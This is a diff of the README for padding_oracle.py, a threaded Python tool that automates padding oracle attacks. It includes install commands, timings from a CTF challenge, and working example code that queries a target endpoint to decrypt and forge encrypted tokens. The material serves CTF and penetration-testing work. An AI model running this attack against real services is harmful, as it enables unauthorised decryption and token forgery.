|
1 | | -# Padding Oracle Python Automation Script |
| 1 | +# Padding Oracle Automation in Python |
2 | 2 |
|
3 | | - |
| 3 | + |
4 | 4 |
|
5 | | -The padding_oracle.py is a highly efficient, threaded [padding oracle](https://en.wikipedia.org/wiki/Padding_oracle_attack) attack automation script, specifically developed for Python 3. |
| 5 | +This script automates padding oracle attacks in Python, offering efficient and threaded execution. |
6 | 6 |
|
7 | 7 | ## Installation |
8 | 8 |
|
9 | | -You can install the package using either PyPI or directly from GitHub: |
| 9 | +You can install the script using one of these methods: |
10 | 10 |
|
11 | | -**Via PyPI:** |
12 | | -```shell |
13 | | -pip3 install -U padding_oracle |
14 | | -``` |
| 11 | +- **Via PyPI:** |
| 12 | + ```shell |
| 13 | + pip3 install -U padding_oracle |
| 14 | + ``` |
15 | 15 |
|
16 | | -**Via GitHub:** |
17 | | -```shell |
18 | | -pip3 install -U git+https://github.com/djosix/padding_oracle.py.git |
19 | | -``` |
| 16 | +- **Directly from GitHub:** |
| 17 | + ```shell |
| 18 | + pip3 install -U git+https://github.com/djosix/padding_oracle.py.git |
| 19 | + ``` |
| 20 | + |
| 21 | +## Performance |
20 | 22 |
|
21 | | -## Performance Metrics |
| 23 | +The script's performance varies depending on the number of request threads. This was tested in a CTF web challenge: |
22 | 24 |
|
23 | | -Performance of padding_oracle.py was evaluated using [0x09] Cathub Party from EDU-CTF: |
| 25 | +| Request Threads | Time Taken | |
| 26 | +|-----------------|-------------| |
| 27 | +| 1 | 17m 43s | |
| 28 | +| 4 | 5m 23s | |
| 29 | +| 16 | 1m 20s | |
| 30 | +| 64 | 56s | |
24 | 31 |
|
25 | | -| Number of Request Threads | Time Taken | |
26 | | -|-----------------|----------------| |
27 | | -| 1 | 17m 43s | |
28 | | -| 4 | 5m 23s | |
29 | | -| 16 | 1m 20s | |
30 | | -| 64 | 56s | |
| 32 | +## Usage |
31 | 33 |
|
32 | | -## How to Use |
| 34 | +### Decryption |
33 | 35 |
|
34 | | -To illustrate the usage, consider an example of testing `https://vulnerable.website/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`: |
| 36 | +When trying to decrypt a token like the one at `https://example.com/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`, this script assumes that the token is vulnerable to a padding oracle attack. |
35 | 37 |
|
36 | 38 | ```python |
37 | | -from padding_oracle import padding_oracle, base64_encode, base64_decode |
| 39 | +from padding_oracle import decrypt, base64_encode, base64_decode |
38 | 40 | import requests |
39 | 41 |
|
40 | | -sess = requests.Session() # use connection pool |
41 | | -url = 'https://vulnerable.website/api/' |
| 42 | +sess = requests.Session() # Uses connection pooling |
| 43 | +url = 'https://example.com/api/' |
42 | 44 |
|
43 | 45 | def oracle(ciphertext: bytes): |
44 | | - resp = sess.get(url, params={'token': base64_encode(ciphertext)}) |
45 | | - |
46 | | - if 'failed' in resp.text: |
47 | | - return False # e.g. token decryption failed |
48 | | - elif 'success' in resp.text: |
| 46 | + response = sess.get(url, params={'token': base64_encode(ciphertext)}) |
| 47 | + if 'failed' in response.text: |
| 48 | + return False # Token decryption failed |
| 49 | + elif 'success' in response.text: |
49 | 50 | return True |
50 | 51 | else: |
51 | | - raise RuntimeError('unexpected behavior') |
52 | | - |
53 | | -ciphertext: bytes = base64_decode('M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94=') |
54 | | -# len(ciphertext) is 32 |
55 | | -# possibly be "IV + cipher block" if block size is 16 |
| 52 | + raise RuntimeError('Unexpected behavior') |
56 | 53 |
|
| 54 | +ciphertext = base64_decode('M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94=') |
57 | 55 | assert len(ciphertext) % 16 == 0 |
58 | 56 |
|
59 | | -plaintext = padding_oracle( |
| 57 | +plaintext = decrypt( |
60 | 58 | ciphertext, |
61 | | - block_size = 16, |
62 | | - oracle = oracle, |
63 | | - num_threads = 16, |
| 59 | + block_size=16, |
| 60 | + oracle=oracle, |
| 61 | + num_threads=16, |
64 | 62 | ) |
65 | 63 | ``` |
66 | 64 |
|
67 | | -In addition, the package provides PHP-like encoding/decoding functions: |
| 65 | +### Encryption |
| 66 | + |
| 67 | +Below is an example demonstrating how to encrypt arbitrary bytes. For a detailed understanding of the process, please refer to [this Pull Request](https://github.com/djosix/padding_oracle.py/pull/4). Keep in mind that, unlike the decryption process, this functionality cannot be parallelized. |
68 | 68 |
|
69 | 69 | ```python |
70 | | -from padding_oracle.encoding import ( |
71 | | - urlencode, |
72 | | - urldecode, |
73 | | - base64_encode, |
74 | | - base64_decode, |
75 | | -) |
| 70 | +from padding_oracle import encrypt |
| 71 | + |
| 72 | +ciphertext = encrypt(b'YourTextHere', block_size=16, oracle=oracle) |
76 | 73 | ``` |
77 | 74 |
|
78 | | -## License |
| 75 | +### Customized Logging |
| 76 | + |
| 77 | +Both `encrypt` and `decrypt` allow user to inject a custom logger: |
79 | 78 |
|
80 | | -Padding Oracle Python Automation Script is distributed under the terms of the MIT license. |
| 79 | +- **Disable Logging:** |
| 80 | + ```python |
| 81 | + from padding_oracle import nop_logger |
| 82 | + |
| 83 | + plaintext = decrypt( |
| 84 | + ... |
| 85 | + logger=nop_logger, |
| 86 | + ) |
| 87 | + ``` |
| 88 | + |
| 89 | +- **Selective Logging:** |
| 90 | + ```python |
| 91 | + def logger(kind: str, message: str): |
| 92 | + if kind in ('oracle_error', 'solve_block_error'): |
| 93 | + print(f'[{kind}] {message}') |
| 94 | + |
| 95 | + plaintext = decrypt( |
| 96 | + ... |
| 97 | + logger=logger, |
| 98 | + ) |
| 99 | + ``` |
| 100 | + |
| 101 | +### Extras |
| 102 | + |
| 103 | +The script also includes PHP-like encoding and decoding functions: |
| 104 | + |
| 105 | +```python |
| 106 | +from padding_oracle.encoding import urlencode, urldecode, base64_encode, base64_decode |
| 107 | +``` |
| 108 | + |
| 109 | +## License |
81 | 110 |
|
82 | | -<!-- PiuPiuPiu --> |
| 111 | +This script is distributed under the MIT license. |
0 commit comments